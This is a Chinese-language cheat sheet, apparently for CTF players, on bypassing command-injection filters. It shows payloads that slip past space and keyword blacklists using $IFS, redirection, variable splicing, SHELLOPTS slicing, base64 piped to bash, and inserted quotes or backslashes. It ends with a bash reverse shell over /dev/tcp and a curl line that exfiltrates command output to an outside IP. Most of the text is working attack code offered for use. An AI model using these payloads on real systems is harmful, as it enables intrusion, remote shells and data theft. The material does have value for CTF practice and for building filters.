绕过空格过滤
1.${IFS}
变量$IFS是shell用来进行自动替换的,默认是 space, tab, newline的一个,所以我们可以调用他来充当空格。
echo $IFS
echo "$IFS" |od -b //直接输出没东西,转换成二进制就可以看到输出(引号引起来说明这个变量不用IFS替换,使用其原始值)
root@test:~# echo "$IFS"|od -b
0000000 040 011 012 012 //空格 tab 换行
0000004
payload:
root@test:/home/test# cat${IFS}flag
flagaaaaaaaaaa
root@test:/home/test# cat$IFS$1flag //如果过滤了{}
flagaaaaaaaaaa
2.重定向符
文件描述符是与已打开文件或设备相关联的整数,它们保持和已打开文件或设备的关联。最为常见的文件描述符是stdin、stdout和stderr,它们分别是0、1、2,是系统保留的文件描述符,分别对应标准输入、标准输出和标准错误。对于stdin,stdout和stderr重定向一般采用的操作符主要有<、>和>>,在没有指定的具体文件操作符的情况下,缺省是这样的:command < file.txt相当于command 0< file.txt,也就是说默认是将文件重定向到文件描述符0.
Payload:
root@test:/home/test# cat<flag
flagaaaaaaaaaa
绕过黑名单
1.拼接
Payload:
root@test:/home/test# a=c;b=at;c=flag;$a$b $c
flagaaaaaaaaaa
2.利用系统环境变量
root@test:/home/test# echo ${SHELLOPTS}
braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor
payload:
root@test:/home/test# ${SHELLOPTS:3:1}${SHELLOPTS:2:1}${SHELLOPTS:29:1} flag
flagaaaaaaaaaa
3.base64
Payload:
root@test:/home/test# `echo "Y2F0IGZsYWc="|base64 -d` //反引号
flagaaaaaaaaaa
or
root@test:/home/test# echo "Y2F0IGZsYWc="|base64 -d|bash // |连接
flagaaaaaaaaaa
4.单/双引号
payload:
root@test:/home/test# ca""t fl""ag
flagaaaaaaaaaa
root@test:/home/test# ca""t fl''ag
flagaaaaaaaaaa
root@test:/home/test# ca''t fl''ag
flagaaaaaaaaaa
5.反斜杠\
Payload:
root@test:/home/test# ca\t fla\g
flagaaaaaaaaaa
无回显的命令执行
1.bash反弹shell
|bash -i >& /dev/tcp/192.168.211.212/8080 0>&1
2.curl
|curl 192.168.211.212:8080/?a=`ls |head -n 3|tail -n 1`